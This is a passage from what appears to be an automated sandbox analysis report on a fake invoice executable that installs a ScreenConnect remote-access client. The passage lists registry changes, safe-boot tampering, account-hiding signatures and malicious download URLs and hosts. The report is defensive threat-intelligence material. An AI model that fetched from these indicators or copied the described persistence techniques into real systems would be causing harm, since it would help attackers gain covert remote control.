Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Client.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Core.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.Windows.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.dll VolumeInformation
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1806 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_009B1806
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Deletes keys which are related to windows safe boot (disables safe mode boot)
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\ScreenConnect Client (b044e727-8609-4a6c-b885-92d6249fd38a) Jump to behavior
Adds / modifies Windows certificates
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Yara detected ScreenConnect Tool
Source: Yara match File source: 6.0.ScreenConnect.WindowsClient.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.4002929791.0000023CE6080000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.3991111838.0000023CCC49A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: dfsvc.exe PID: 6456, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6552, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 1340, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523876 Sample: E_BILL0041272508.exe Startdate: 02/10/2024 Architecture: WINDOWS Score: 72 40 mmf351.ddns.net 2->40 42 otohelp.top 2->42 44 2 other IPs or domains 2->44 48 Suricata IDS alerts for network traffic 2->48 50 Multi AV Scanner detection for submitted file 2->50 52 .NET source code references suspicious native API functions 2->52 56 2 other signatures 2->56 9 E_BILL0041272508.exe 2 2->9         started        11 ScreenConnect.ClientService.exe 2 5 2->11         started        14 svchost.exe 1 1 2->14         started        signatures3 54 Uses dynamic DNS services 40->54 process4 dnsIp5 17 dfsvc.exe 130 107 9->17         started        62 Reads the Security eventlog 11->62 64 Reads the System eventlog 11->64 66 Deletes keys which are related to windows safe boot (disables safe mode boot) 11->66 21 ScreenConnect.WindowsClient.exe 11->21         started        46 127.0.0.1 unknown unknown 14->46 signatures6 process7 dnsIp8 38 otohelp.top 79.110.49.16, 443, 49714, 49716 OTAVANET-ASCZ Germany 17->38 30 C:\...\ScreenConnect.WindowsFileManager.exe, PE32 17->30 dropped 32 C:\Users\...\ScreenConnect.WindowsClient.exe, PE32 17->32 dropped 34 ScreenConnect.WindowsBackstageShell.exe, PE32 17->34 dropped 36 13 other files (none is malicious) 17->36 dropped 24 ScreenConnect.WindowsClient.exe 19 10 17->24         started        58 Contains functionality to hide user accounts 21->58 file9 signatures10 process11 signatures12 60 Contains functionality to hide user accounts 24->60 27 ScreenConnect.ClientService.exe 1 3 24->27         started        process13 signatures14 68 Detected unpacking (creates a PE file in dynamic memory) 27->68 70 Contains functionality to hide user accounts 27->70 72 Enables network access during safeboot for specific services 27->72
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
79.110.49.16
 mmf351.ddns.net Germany
57287 OTAVANET-ASCZ true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
mmf351.ddns.net 79.110.49.16 true
otohelp.top 79.110.49.16 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config true unknown
https://otohelp.top/Bin/ScreenConnect.Windows.dll true unknown
https://otohelp.top/Bin/ScreenConnect.Client.dll true unknown
https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe true unknown
https://otohelp.top/Bin/ScreenConnect.ClientService.dll true unknown
https://otohelp.top/Bin/ScreenConnect.Client.manifest true unknown
https://otohelp.top/Bin/ScreenConnect.WindowsFileManager.exe true unknown
https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe true
    		unknown
    https://otohelp.top/Bin/ScreenConnect.WindowsClient.exe.config true
      		unknown
      https://otohelp.top/Bin/ScreenConnect.Core.dll true
        		unknown
        https://otohelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config true
          		unknown
          https://otohelp.top/Bin/ScreenConnect.ClientService.exe true
            		unknown